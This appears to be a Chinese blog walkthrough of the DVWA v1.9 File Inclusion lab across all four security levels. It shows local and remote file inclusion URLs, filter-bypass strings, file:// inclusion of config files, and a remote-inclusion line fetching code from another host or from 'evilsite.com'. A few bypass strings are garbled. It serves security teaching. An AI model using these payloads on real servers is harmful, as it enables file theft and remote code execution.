天天看點

DVWA V1.9:File Inclusion(檔案包含)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

DVWA V1.9:File Inclusion(檔案包含)

  • File Inclusion 介紹
  • Low 級别
    • 核心代碼
    • 官方提示
    • 漏洞利用
  • Medium 級别
    • 核心代碼
    • 官方提示
    • 漏洞利用
  • High 級别
    • 核心代碼
    • 官方提示
    • 漏洞利用
  • Impossible 級别
    • 核心代碼
    • 官方提示

File Inclusion 介紹

一些Web應用程式允許使用者指定直接用于檔案流的輸入,或者允許使用者将檔案上載到伺服器。

在稍後的時間,Web應用程式通路Web應用上下文中的使用者提供的輸入。

通過這樣做,Web應用程式允許潛在的惡意檔案執行。

如果所選擇的檔案在目标機上是本地的,則稱為“本地檔案包含(LFI)”。

但是檔案也可以包含在其他機器上,然後攻擊是一個“遠端檔案包含(RFI)”。

當RFI不是一個選項。使用LFI(如檔案上傳和目錄周遊)的另一個漏洞通常可以達到相同的效果。

注意,“檔案包含”一詞與“任意檔案通路”或“檔案洩露”不一樣。

DVWA V1.9:File Inclusion(檔案包含)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

Low 級别

核心代碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>
           

可以看到,伺服器端對page參數沒有做任何的過濾跟檢查。

伺服器期望使用者的操作是點選下面的三個連結,伺服器會包含相應的檔案,并将結果傳回。

需要特别說明的是,伺服器包含檔案時,不管檔案字尾是否是php,都會嘗試當做php檔案執行,如果檔案内容确為php,則會正常執行并傳回結果,如果不是,則會原封不動地列印檔案内容,是以檔案包含漏洞常常會導緻任意檔案讀取與任意指令執行。

官方提示

這允許直接輸入到許多PHP函數之一這将包括執行時的内容。

取決于Web服務的配置将取決于RFI是可能的。

Spoiler: LFI: ?page=../../../../../../etc/passwd.
Spoiler: RFI: ?page=http://www.evilsite.com/evil.php.
           

漏洞利用

1.本地檔案包含

構造url
http://43.247.91.228:81/vulnerabilities/fi/?page=../../../../../../etc/passwd
           
DVWA V1.9:File Inclusion(檔案包含)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

2.遠端檔案包含

當伺服器的php配置中,選項allow_url_fopen與allow_url_include為開啟狀态時,伺服器會允許包含遠端伺服器上的檔案,如果對檔案來源沒有檢查的話,就容易導緻任意遠端代碼執行。

在遠端伺服器192.168.5.12上傳一個phpinfo.txt檔案,内容如下

DVWA V1.9:File Inclusion(檔案包含)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别
構造url
http://43.247.91.228:81/vulnerabilities/fi/?page=http://192.168.5.12/phpinfo.txt
           
DVWA V1.9:File Inclusion(檔案包含)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

Medium 級别

核心代碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>
           

可以看到,Medium級别的代碼增加了str_replace函數,對page參數進行了一定的處理,将”http:// ”、”https://”、 ” …/”、”…\”替換為空字元,即删除。

官方提示

開發人員已經閱讀了LFI/RFI中的一些問題,并決定過濾輸入。然而,使用的模式是不夠的。

Spoiler: LFI: Possible, due to it only cycling through the pattern matching once.
Spoiler: RFI: PHP Streams.
           

漏洞利用

使用str_replace函數是極其不安全的,因為可以使用雙寫繞過替換規則。

例如page=hthttp://tp://192.168.5.12/phpinfo.txt時,str_replace函數會将http://删除,于是page=http://192.168.5.12/phpinfo.txt,成功執行遠端指令。

同時,因為替換的隻是“…/”、“…\”,是以對采用絕對路徑的方式包含檔案是不會受到任何限制的。

1.本地檔案包含

http://43.247.91.228:81/vulnerabilities/fi/?page=..././..././..././..././..././..././etc/passwd
           
DVWA V1.9:File Inclusion(檔案包含)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

2.遠端檔案包含

http://43.247.91.228:81/vulnerabilities/fi/?page=hthttptp://192.168.5.12/phpinfo.txt
           
DVWA V1.9:File Inclusion(檔案包含)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

High 級别

核心代碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>
           

可以看到,High級别的代碼使用了fnmatch函數檢查page參數,要求page參數的開頭必須是file,伺服器才會去包含相應的檔案。

官方提示

開發人員已經受夠了。他們決定隻允許使用某些檔案。然而,由于有多個檔案具有相同的基名,是以它們使用通配符将它們全部包括在内。

Spoiler: LFI: The filename only has start with a certain value..
Spoiler: RFI: Need to link in another vulnerability, such as file upload.
           

漏洞利用

High級别的代碼規定隻能包含file開頭的檔案,看似安全,不幸的是我們依然可以利用file協定繞過防護政策。

file協定其實我們并不陌生,當我們用浏覽器打開一個本地檔案時,用的就是file協定,如下圖。

DVWA V1.9:File Inclusion(檔案包含)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别
http://192.168.153.130/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini
           

成功讀取了伺服器的配置檔案

DVWA V1.9:File Inclusion(檔案包含)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

至于執行任意指令,需要配合檔案上傳漏洞利用。

首先需要上傳一個内容為php的檔案,然後再利用file協定去包含上傳檔案(需要知道上傳檔案的絕對路徑),進而實作任意指令執行。

Impossible 級别

核心代碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>
           

可以看到,Impossible級别的代碼使用了白名單機制進行防護,簡單粗暴,page參數必須為“include.php”、“file1.php”、“file2.php”、“file3.php”之一,徹底杜絕了檔案包含漏洞。

官方提示

開發人員将其退出并隻對允許的頁進行寫死,并有精确的檔案名。

通過這樣做,它消除了所有攻擊的途徑。

參考連結:

新手指南:DVWA-1.9全級别教程之File Inclusion

繼續閱讀